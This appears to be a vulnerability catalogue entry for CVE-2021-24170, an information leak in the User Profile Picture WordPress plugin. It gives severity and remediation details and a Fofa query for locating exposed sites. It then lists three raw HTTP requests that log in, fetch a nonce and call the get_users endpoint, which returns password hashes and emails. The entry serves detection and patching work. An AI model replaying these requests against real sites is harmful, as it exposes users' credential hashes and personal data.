| Title | User Profile Picture < 2.5.0 - Sensitive Information Disclosure |
|---|---|
| Author | s4e-io |
| Severity | High |
| Impact | Authenticated users with upload_files capability can extract sensitive user information including password hashes, activation keys, usernames, and email addresses via REST API endpoint. |
| Remediation | Update to User Profile Picture version 2.5.0 or later. |
| CVSS Score | 7.5 |
| EPSS Score | 0.28674 |
| CVE ID | CVE-2021-24170 |
| CWE ID | CWE-200 |
| Fofa Query | body="/wp-content/plugins/metronet-profile-picture" |
| Tags | cve cve2021 wp wp-plugin wpscan wordpress info-leak authenticated metronet-profile-picture vkev vuln |
The REST API endpoint get_users in the User Profile Picture WordPress plugin before 2.5.0 returned more information than was required for its functionality to users with the upload_files capability. This included password hashes, hashed user activation keys, usernames, emails, and other less sensitive information.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=0SdciA&pwd=Geh2rP&wp-submit=Log+In
POST /wp-admin/admin-ajax.php?action=rest-nonce HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.6.20) Gecko/ Firefox/3.6.2
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json
Accept-Encoding: gzip
0
POST /index.php?rest_route=/mpp/v2/get_users HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Connection: close
Transfer-Encoding: chunked
Content-Type: application/json
X-WP-Nonce: Pbz5c0
Accept-Encoding: gzip
0
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24170.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24170.pcap
N/AN/A